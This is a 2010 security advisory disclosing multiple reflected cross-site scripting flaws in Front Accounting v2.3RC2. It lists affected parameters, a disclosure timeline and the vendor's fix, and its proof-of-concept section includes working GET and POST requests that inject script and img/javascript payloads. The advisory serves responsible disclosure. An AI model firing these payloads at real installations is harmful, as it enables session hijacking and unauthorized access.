Advisory Name: Multiple Cross-Site Scripting (XSS) in Front Accounting

Internal Cybsec Advisory Id: 2010-1002-Multiple XSSs in Front Accounting

Vulnerability Class: Reflected Cross-Site Scripting (XSS)

Release Date: 10/29/2010

Affected Applications: Front Accounting v2.3RC2; other versions may also be affected.

Affected Platforms: Any running Front Accounting v2.3RC2

Local / Remote: Remote

Severity: Medium – CVSS: 3.5 (AV:N/AC:M/Au:S/C:N/I:P/A:N)

Researcher: Juan Manuel Garcia

Vendor Status: Acknowedged

Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf

Vulnerability Description:
Multiple Reflected Cross Site Scripting vulnerabilities were found in Front Accounting v2.3RC2, because the application fails to sanitize user-supplied input. The vulnerabilities can be triggered by any logged-in user.

At least the following parameters are not properly sanitized:
Index.php: GET HTTP Request
/admin/attachments.php: _focus, description, trans_no
/admin/change_current_user_password.php: POST HTTP Request
/admin/display_prefs.php: _focus, percent_dec, prices_dec, qty_dec, query_size, rates_dec
/admin/fiscalyears.php: from_date, to_date
/admin/forms_setup.php: _focus, id0, id1, id10, id11, id12, id13, id16, id17, id18, id2, id20, id21
/admin/print_profiles.php: _focus
/admin/printers.php: descr, host, name, port, queue, selected_id, tout
/admin/view_print_transaction.php: FromTransNo, ToTransNo, _focus
/admin/void_transaction.php: _focus, date_
/dimensions/dimension_entry.php: date_, due_date, memo_, name, ref, trans_no
/dimensions/inquiry/search_dimensions.php: FromDate, OrderNumber, ToDate, _focus
/dimensions/view/view_dimension.php: trans_no
/gl/bank_account_reconcile.php: _focus, reconcile_date
/gl/bank_transfer.php: DatePaid, _focus, amount, charge, memo_, ref
/sales/manage/recurrent_invoices.php: _focus, begin, days, description, end, monthly, selected_id
Other parameters might also be affected.

Some Proof of Concepts:

```
http:// XXX.XXX.XXX.XXX//?>'"><script>alert(15852)</script>
```

* The GET request has been set to:
//?>'"><script>alert(15852)</script>

```
GET //?>'"><script>alert(15852)</script> HTTP/1.0
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host:xxx.xxx.xxx.xxx
```

* The parameter 'FromTransNo' in the POST request has been set to:
>%22%27><img%20src%3d%22javascript:alert(226271)%22>

```
POST /admin/view_print_transaction.php HTTP/1.0
Cookie: FA4649d6f070639b67129c222b2094650d=2aa6f7cc954528a151a5f5d6c658f418
Content-Length: 132
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: xxx.xxx.xxx.xxx
Content-Type: application/x-www-form-urlencoded
Referer: http://xxx.xxx.xxx.xxx/admin/view_print_transaction.php

filterType=40&_filterType_update=+&FromTransNo=>%22%27><img%20src%3d%22javascript:alert(226271)%22>&ToTransNo=1234&_focus=filterType
```

Impact:

An affected user may unintentionally execute scripts or actions written by an attacker. In addition, an attacker may obtain authorization cookies that would allow him to gain unauthorized access to the application.

Solution:

Upgrade to FrontAccounting v2.3RC3

Vendor Response:

2010-10-12 – Vulnerability was identified

2010-10-13 – Vendor contacted

10/16/2010 Vendor confirmed vulnerability

10/19/2010 Vendor says that the bug will we fixed in FrontAccounting v2.3RC3

10/29/2010 Vulnerability was released

Contact Information:

For more information regarding the vulnerability feel free to contact the researcher at
jmgarcia <at> cybsec <dot> com

About CYBSEC S.A. Security Systems

Since 1996, **CYBSEC** is engaged exclusively in rendering professional services specialized in Information Security. Their area of services covers Latin America, Spain and over 250 customers are a proof of their professional life.

To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other software and/or hardware provider companies.

Our services are strictly focused on Information Security, protecting our clients from emerging security threats, maintaining their IT deployments available, safe, and reliable.

Beyond professional services, CYBSEC is continuously researching new defense and attack techniques and contributing with the security community with high quality information exchange.

For more information, please visit www.cybsec.com